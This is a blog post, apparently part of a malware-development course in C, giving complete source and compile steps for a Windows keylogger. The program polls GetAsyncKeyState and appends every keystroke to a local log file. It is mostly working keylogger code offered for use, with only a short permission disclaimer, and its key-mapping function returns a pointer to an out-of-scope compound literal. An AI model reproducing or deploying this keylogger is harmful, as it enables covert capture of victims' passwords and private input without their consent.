10-Day Plan for Learning Malware Development in C: Day 6 – Building a Basic Keylogger - blackgem

W E L C O M E

https://i.imgur.com/fEamA3G.png

Monday, November 4, 2024

10-Day Plan for Learning Malware Development in C: Day 6 – Building a Basic Keylogger

Today, we’re venturing into one of the most classic yet powerful tools in security research: the keylogger. Keyloggers are programs designed to capture and record keystrokes on a computer. While often associated with malicious intent, they can be used ethically for monitoring and testing within authorized environments.



Day 6 – Building a Basic Keylogger

Objective

Today’s goal is to build a basic keylogger in C. You’ll learn how to capture keystrokes and save them to a log file. We’ll focus on the Windows environment, utilizing the GetAsyncKeyState() function to detect key presses and record them. By the end, you’ll complete a microproject to implement a functional keylogger that saves keyboard input to a text file.


Understanding Keylogging and Keystroke Capture

A keylogger operates by capturing keyboard inputs as the user types. This can be achieved by continuously checking each key’s state and logging it when it’s pressed. Keyloggers are typically used in security research, user monitoring, and even in debugging software to capture unintended input sequences.

There are several approaches to capturing keystrokes, including low-level access methods like keyboard hooks and polling methods. For this project, we’ll use Windows-specific API calls to detect key presses.


Keylogging on Windows Using GetAsyncKeyState()

The Windows API provides several functions to interact with the system at a low level. For keylogging, we’ll focus on GetAsyncKeyState(), which checks the state of a specific key and detects when it’s pressed.

Using GetAsyncKeyState()
  • GetAsyncKeyState() checks the state of a key asynchronously, meaning it will capture the key state at any point during program execution.
  • It returns a short integer where the highest bit is set if the key was pressed since the last check.

Example


#include <windows.h> #include <stdio.h> int main() { while (1) { // Loop through all possible virtual key codes for (int key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) & 0x0001) { // Check if key is pressed printf("Key %d pressed\n", key); } } Sleep(10); // Small delay to prevent CPU overuse } return 0; }

Explanation

  • This code snippet loops through possible virtual key codes and checks each one with GetAsyncKeyState(). If a key has been pressed, it prints the key code.
  • The Sleep(10) delay reduces CPU usage by pausing the program briefly between checks.


Logging Keystrokes to a File

To record captured keystrokes, we need to save each detected key press to a text file. We’ll enhance the above code to open a file in append mode and write each detected key press to it.


Mapping Virtual Key Codes to Characters

Windows uses virtual key codes to represent each key. To log characters in a readable format, we’ll map these virtual key codes to corresponding characters.

Example Key Mapping: For simplicity, we’ll map a few common keys, such as letters and numbers. You can expand this as needed.


char *keyMap(int key) { if (key >= 0x30 && key <= 0x39) return (char[]){(char)key, '\0'}; // Numbers if (key >= 0x41 && key <= 0x5A) return (char[]){(char)key, '\0'}; // Letters if (key == VK_SPACE) return " "; if (key == VK_RETURN) return "[ENTER]"; if (key == VK_TAB) return "[TAB]"; if (key == VK_BACK) return "[BACKSPACE]"; return "[UNK]"; }

Explanation

  • This function takes a virtual key code and returns a readable string. Keys like numbers and letters are returned directly as characters, while others (e.g., space, enter, backspace) are labeled with special names.


Microproject – Building a Basic Keylogger

The following program combines everything into a basic keylogger that captures keystrokes and saves them to a text file.

Instructions

  1. Set Up the File for Logging: Open a file in append mode to log key presses.
  2. Detect and Map Key Presses: Loop through virtual key codes, checking each for a press event. Map each detected key to a readable character.
  3. Write to the File: Log each detected key press in the text file.

Complete Keylogger Code Example


#include <windows.h> #include <stdio.h> char *keyMap(int key) { if (key >= 0x30 && key <= 0x39) return (char[]){(char)key, '\0'}; // Numbers if (key >= 0x41 && key <= 0x5A) return (char[]){(char)key, '\0'}; // Letters if (key == VK_SPACE) return " "; if (key == VK_RETURN) return "[ENTER]"; if (key == VK_TAB) return "[TAB]"; if (key == VK_BACK) return "[BACKSPACE]"; return "[UNK]"; // Unknown key } int main() { FILE *logFile; logFile = fopen("keylog.txt", "a+"); // Open file in append mode if (logFile == NULL) { printf("Error: Unable to open log file.\n"); return 1; } while (1) { for (int key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) & 0x0001) { // If key is pressed char *keyStr = keyMap(key); fprintf(logFile, "%s", keyStr); // Write key to log file fflush(logFile); // Ensure data is written to disk printf("%s", keyStr); // Optionally print to console } } Sleep(10); // Prevents CPU overload } fclose(logFile); // Close the file when done (never reached in this loop) return 0; }

Explanation of the Keylogger Code

  1. Opening the Log File: The file keylog.txt is opened in append mode to ensure that each session adds to the previous log.

  2. Mapping Keys: The keyMap() function is used to translate each virtual key code into a human-readable format. This helps create a clean and interpretable log.

  3. Logging Key Presses:

    • fprintf(logFile, "%s", keyStr); writes each detected key press to the log file.
    • fflush(logFile); ensures the data is immediately saved to disk, reducing the chance of data loss.
  4. CPU-Friendly Loop: Adding a Sleep(10) pause reduces the CPU load by pausing the loop briefly between checks.

Testing the Keylogger

  1. Compile the Code

    • Save the code to a file, e.g., keylogger.c.
    • Compile it using a C compiler (such as GCC) for Windows:

      gcc -o keylogger keylogger.c -luser32
  2. Run the Program

    • Execute the keylogger and open another application (e.g., Notepad) to test if keystrokes are logged.
  3. Check the Log File

    • Open keylog.txt to verify that each keystroke is recorded correctly, with special keys marked appropriately.

Log File 

Security and Ethical Considerations

Keyloggers can be powerful tools but are often associated with malicious use. When building or using keyloggers, it’s essential to:

  • Only run this code on systems where you have explicit permission to test.
  • Ensure the keylogger is used for educational purposes or security research, and never for unauthorized data collection.


Conclusion

Now you’ve gained foundational knowledge of keylogging in C on Windows, including how to capture, map, and log keystrokes. Building this keylogger provides insight into real-world keystroke capture techniques used in both security and software monitoring.

Happy Hacking! ❤

No comments:

Post a Comment